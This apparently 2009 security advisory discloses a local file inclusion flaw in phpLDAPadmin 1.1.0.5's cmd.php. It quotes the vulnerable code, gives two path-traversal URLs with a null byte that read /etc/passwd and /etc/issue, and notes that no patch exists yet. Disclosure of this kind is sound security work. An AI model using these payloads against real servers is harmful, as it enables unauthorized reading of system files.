########################################################################
#		PHPLDAPADMIN LOCAL FILE INCLUSION
########################################################################

author	: ipsecs
website	: http://ipsecs.com
Date		: December, 10th, 2009


-[i]- Description

"Phpldapadmin is web based LDAP client which provides easy,
anywhere-accessible, multi-language administration for LDAP
server."
http://phpldapadmin.sourceforge.net

vulnerable version:
phpldapadmin 1.1.0.5
Ubuntu 8.10
Debian 5.0
Other version may be affected

-[ii]- Vulnerable Code

Vulnerable code is found in cmd.php which doesn't sanitize
URI parameter provided by user input.

line 10
$www['cmd'] = get_request('cmd','REQUEST');

line 22-27
if (defined('HOOKSDIR') && file_exists(HOOKSDIR.$www['cmd'].'.php'))
       $file = HOOKSDIR.$www['cmd'].'.php';

elseif (defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php'))
       $file = HTDOCDIR.$www['cmd'].'.php';

line 38-39
if ($file)
       include $file;

Attacker may view any arbitrary files trough 'cmd' parameter 
in URI request.

-[iii]- Exploit

http://server/phpldapadmin/cmd.php?cmd=../../../../etc/passwd%00
http://server/phpldapadmin/cmd.php?cmd=../../../../issue%00

-[iv]- Fix

Sanitize $file before being included. Unfortunaltely there is 
no working patch at this time.